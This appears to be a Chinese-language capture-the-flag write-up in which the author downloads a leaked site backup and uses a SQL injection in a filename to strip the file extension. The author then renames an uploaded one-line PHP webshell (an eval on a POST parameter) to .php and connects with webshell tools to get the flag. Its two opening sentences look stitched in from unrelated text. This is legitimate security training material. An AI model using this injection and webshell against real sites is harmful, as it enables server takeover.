
如果PHP源码泄露,那么攻击者可以轻易地查看其中的代码并发现其中的漏洞和安全弱点。这可能导致攻击者能够从中获得敏感信息或者对网站进行攻击。以下是一些可以避免PHP源码泄露的建议:
PHP文件上传漏洞是指攻击者通过上传恶意文件(如木马、WebShell等)或者篡改上传的文件,从而实施攻击的一种漏洞。以下是一些预防和修复PHP文件上传漏洞的措施:


扫描目录

发现/www.tar.gz,访问网址http://61.147.171.105:49881/www.tar.gz即可将文件下载下来,解压文件,得到如下几个文件。

对文件进行代码审计,发现漏洞在修改文件名的文件(rename.php)中,首先会查询之前上传的文件是否存在,如果返回不为空,则修改成对应的文件名。在修改文件名的过程中,是存在漏洞可以利用的。

具体操作如下:
首先上传一个空的文件,但是文件名一定要是’,extension='.jpg,因为原来的SQL语句不允许修改后缀名,对后缀名进行了限制,使用这个名字是为了是修改的文件后缀名为空,即可修改文件后缀。
我们传入文件名',extension='.jpg
这时候,存入数据库的filename是',extension=',extension是jpg


进行重命名


文件名修改后,重命名文件的代码也随之改变了。变成了
update `file` set `filename`='shell.jpg',`oldname`='',extension='' where `fid`={$result['fid']}"修改前的代码为:
update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}通过对比上面的两条SQL语句发现,此时的文件后缀名已经变为空了,即可对文件的后缀名进行修改。但是文件只能是shell.jpg,这个也是之前必须使用.jpg格式的原因。
现在上传一句话木马,木马的文件名必须和之前修改的文件名(shell.jpg)一致
木马文件的内容为:<?php @eval($_POST['123']) ?>

同名的文件上传以后,即可对文件名进行修改,因为此时已经可以修改该文件的后缀名了,即可将jpg文件修改为PHP文件

修改完成后,即可用中国菜刀,中国蚁剑等工具连接到该服务器

得到flag:flag{bdda3c944a9e484eae50123afeeff56b}